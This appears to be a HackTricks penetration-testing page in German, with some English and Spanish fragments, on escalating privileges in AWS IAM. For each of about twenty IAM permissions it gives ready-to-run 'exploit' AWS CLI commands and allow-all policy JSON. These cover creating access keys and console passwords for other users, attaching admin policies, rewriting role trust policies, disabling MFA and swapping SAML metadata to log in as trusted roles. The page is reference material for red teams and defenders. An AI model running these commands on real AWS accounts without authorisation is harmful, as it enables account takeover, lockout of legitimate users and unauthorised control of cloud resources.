AWS - IAM Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IAM

Weitere Informationen zu IAM:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion durch Verwendung des Flags --set-as-default. Dadurch können benutzerdefinierte Berechtigungen definiert werden.

Exploit-Befehl:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Auswirkung: Eskaliert Privilegien direkt, indem beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.

iam:SetDefaultPolicyVersion

Ermöglicht das Ändern der Standardversion einer IAM-Policy auf eine andere vorhandene Version, was Privilegien eskalieren kann, wenn die neue Version mehr Berechtigungen hat.

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Auswirkung: Indirekte privilege escalation durch das Ermöglichen zusätzlicher Berechtigungen.

iam:CreateAccessKey

Ermöglicht das Erstellen einer access key ID und eines secret access key für einen anderen Benutzer, was zu einer möglichen privilege escalation führen kann.

Exploit:

aws iam create-access-key --user-name <target_user>

Auswirkung: Direkte Privilegieneskalation durch das Übernehmen der erweiterten Berechtigungen eines anderen Benutzers.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich dem Festlegen von Passwörtern für die Anmeldung an der AWS Console, was zu direkter Privilegieneskalation führt.

Exploit for Creation:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit für Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Auswirkung: Direkte Privilegieneskalation durch Anmeldung als “any”-Benutzer.

iam:UpdateAccessKey

Ermöglicht das Aktivieren eines deaktivierten Access Key, was zu unautorisiertem Zugriff führen kann, falls der Angreifer über den deaktivierten Access Key verfügt.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Auswirkung: Direkte Privilegieneskalation durch Reaktivierung von Access Keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.

Exploit für Erstellung:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit zum Zurücksetzen:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Auswirkung: Direkter privilege escalation innerhalb der Service-Berechtigungen des Benutzers.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und führt so zu direkter privilege escalation, indem die Berechtigungen der angehängten Policy vererbt werden.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit für Gruppe:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Auswirkung: Direkte privilege escalation auf alles, was die Richtlinie gewährt.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Erlaubt das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht damit direkte privilege escalation durch Gewährung zusätzlicher Berechtigungen.

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit für Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Sie können eine Richtlinie wie folgt verwenden:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Auswirkung: Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Richtlinien.

iam:AddUserToGroup

Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen, wodurch Privilegien eskaliert werden, indem man die Berechtigungen der Gruppe erbt.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: Direkte Privilegieneskalation auf die Ebene der Berechtigungen der Gruppe.

iam:UpdateAssumeRolePolicy

Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle, wodurch das Übernehmen der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Wenn die policy wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Auswirkung: Direkte Privilegieneskalation durch das Übernehmen der Berechtigungen beliebiger Rollen.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Ermöglicht das Hochladen eines SSH-Public-Keys zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu potenzieller indirekter Privilegieneskalation führen kann.

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit für MFA-Deaktivierung:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Auswirkung: Indirect privilege escalation durch das Aktivieren des CodeCommit-Zugriffs oder das Deaktivieren des MFA-Schutzes.

iam:ResyncMFADevice

Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu indirect privilege escalation führen kann, indem der MFA-Schutz manipuliert wird.

Bash-Befehl:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: Indirekte Privilegieneskalation durch Hinzufügen oder Manipulation von MFA-Geräten.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Mit diesen Berechtigungen kannst du die XML metadata der SAML connection ändern. Danach könntest du die SAML federation missbrauchen, um dich mit jeder role, die ihr vertraut, zu login.

Beachte, dass dadurch legit users won’t be able to login. Allerdings könntest du das XML bekommen, dein eigenes einsetzen, dich login und die vorherige Konfiguration wiederherstellen.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Note

TODO: Ein Tool, das in der Lage ist, die SAML-Metadaten zu erzeugen und sich mit einer angegebenen Rolle anzumelden

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Unsicher) Wenn ein Angreifer diese Berechtigungen hat, könnte er einen neuen Thumbprint hinzufügen, um sich in alle Rollen anzumelden, die dem Provider vertrauen.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Diese Berechtigung erlaubt es einem Angreifer, die permissions boundary eines user zu aktualisieren und dadurch möglicherweise seine Privilegien zu eskalieren, indem er Aktionen durchführt, die normalerweise durch seine bestehenden Berechtigungen eingeschränkt sind.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Ein Akteur mit iam:PutRolePermissionsBoundary kann eine Berechtigungsgrenze für eine bestehende Rolle setzen. Das Risiko entsteht, wenn jemand mit dieser Berechtigung die Grenze einer Rolle ändert: Er kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führt) oder, wenn er eine freizügige Grenze anfügt, die Möglichkeiten der Rolle effektiv erweitern und so Privilegien eskalieren.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks